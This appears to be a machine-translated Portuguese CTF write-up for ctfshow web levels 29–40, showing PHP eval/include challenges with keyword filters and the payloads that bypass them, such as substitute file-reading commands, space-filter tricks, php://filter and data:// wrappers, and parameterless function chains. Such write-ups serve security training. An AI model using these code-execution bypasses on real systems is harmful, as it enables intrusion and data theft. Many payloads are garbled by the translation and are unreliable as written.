execução do comando ctfshow


Dê uma olhada antes de fazer um
comando de dicas de comando de título
para ignorar o resumo

WEB29


error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

Método 1: carga útil de
pesquisa difusa
:? C = system ('cat f *');
Solução 2: depois de
Insira a descrição da imagem aqui
compreender a função eval

Entrada
?? C = echo "npfs" ;> ctf <php system ('ls');
pode ver o arquivo flag.php, após a inclusão para leitura que compreende a
carga útil:

? c = echo “npfs”; ?> ctf <? php include ($ _GET ['url']); & url = php: //filter/read=convert.base64-encode/resource=flag.php

WEB30

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

Solução um:

pyaload:? c = echo cat f*;
pyaload:? c = echo nl f*;

Também semelhante ao gato:

mais, menos, nl, cauda

Solução dois:

carga útil :
? c = echo "npfs"; incluir ($ _ GET ['url']); ?> & url = php: //filter/read=convert.base64-encode/resource=flag.php

WEB31

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

Esta questão filtra sinalizador, sistema, php, gato, shell de classificação,., Espaço, '

Quando o gato é filtrado, você pode usar o seguinte comando em seu lugar

(1) mais: exibe o conteúdo do arquivo página por página
(2) menos: semelhante a mais, mas melhor que mais, ele pode virar as páginas [pg dn] [pg up]
(3) head: ver as primeiras páginas Linha
(4 ) tac: Exibido a partir da última linha, pode ser visto que tac é a exibição reversa de cat
(5) tail: Verifique as últimas linhas
(6) nl: Quando exibido, o número da linha de saída
(7) od: a propósito Forma binária de ler o conteúdo do arquivo
(8) vi: um editor, isso também pode ser visto
(9) vim: um editor, isso também pode ser visto
(10) classificar: você pode ver
(11) uniq: você pode ver
(12) arquivo -f: relatar o erro e dar o conteúdo específico
(13) sed: um editor, também pode ser visualizado

Quando os espaços são filtrados, você pode usar os seguintes comandos para substituir
% 09 (tab), $ IFS $ 9, IFS, {IFS},I F S IFS% 09 (tab) 、 <、 <> 、% 20 (espaço)
carga útil:

? c = eco nl%09f*;

web32

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    
    
        eval($c);
    }  
}else{
    
    
    highlight_file(__FILE__);
}

Filtre os colchetes com base no anterior

Use include "$ _POST [1]"? Plus post para passar parâmetros e use pseudo-protocolo para contornar

pagar

? C = incluir "o POST $ _ [. 1]">?.
1 = PHP: //filter/read=convert.base64-encode/resource=flag.php
. 1
2
curso usando o parâmetro GET passando o mesmo efeito pode ser obtido

carga útil

? c = include $ _GET ["a"]?> & a = php: //filter/read=convert.base64-encode/resource=flag.php
1
Obtenha uma string de codificação base64 após a aprovação e obtenha o sinalizador após a decodificação

sinalizador : sinalizar {cc9b544f-8f19-48b6-b867-b9837304f780}

WEB33

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

Esta questão adiciona a filtragem de espaços e aspas duplas com base na anterior.
pyaload:

? c = incluir% 09 $ GET [ ]?> & _ = php: //filter/read=convert.base64-encode/resource=flag.php

WEB34

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

Mais filtragem:
igual à carga anterior.

WEB35

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

A
carga útil de sinal de igual é filtrada mais :

? c = incluir% 09 $ GET [ ]?> & _ = php: //filter/read=convert.base64-encode/resource=flag.php

WEB36

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    
    
        eval($c);
    }
    
}else{
    
    
    highlight_file(__FILE__);
}

Aqui estão mais 0 a 9
payloads filtrados :

? c = incluir% 09 $ GET [ ]?> & _ = php: //filter/read=convert.base64-encode/resource=flag.php

WEB37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        include($c);
        echo $flag;
    }      
}else{
    
    
    highlight_file(__FILE__);
}

O pseudo protocolo de inclusão direta foi fornecido aqui. (Observação para usar aspas duplas, porque o título usa aspas simples)
carga útil:

dados: texto / simples, <? php system ("cat f *")?>

WEB38

error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
    
    
        include($c);
        echo $flag;
    
    }
        
}else{
    
    
    highlight_file(__FILE__);
}

Adicionada
carga útil de filtragem de php :

? c = data: // text, plain, baser64, PD9waHAgc3lzdGVtKCJjYXQgZioiKTs / Pg ==

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    
    
        include($c.".php");
    }
        
}else{
    
    
    highlight_file(__FILE__);
}

Aqui está mais um .php
e então usamos diretamente o pseudo protocolo

carga útil: dados: texto / simples, <? php system ('cat f *')?>

data: // text / plain, isso é equivalente a executar a instrução php. php Como a instrução php anterior foi fechada, o seguinte .php será tratado como uma página html e exibido diretamente na página, o que não tem efeito

web40


if(isset($_GET['c'])){
    
    
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    
    
        eval($c);
    }
        
}else{
    
    
    highlight_file(__FILE__);
}

Basicamente, os números e símbolos necessários são filtrados.
Aqui você pode construir uma função sem parâmetros para leitura de arquivos.
Leitura de arquivo sem parâmetros.
Carga útil:

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

c = início da sessão (); sistema (id da sessão ());
passid = ls

Acho que você gosta

Origin blog.csdn.net/qq_45951598/article/details/113716712
Recomendado
Clasificación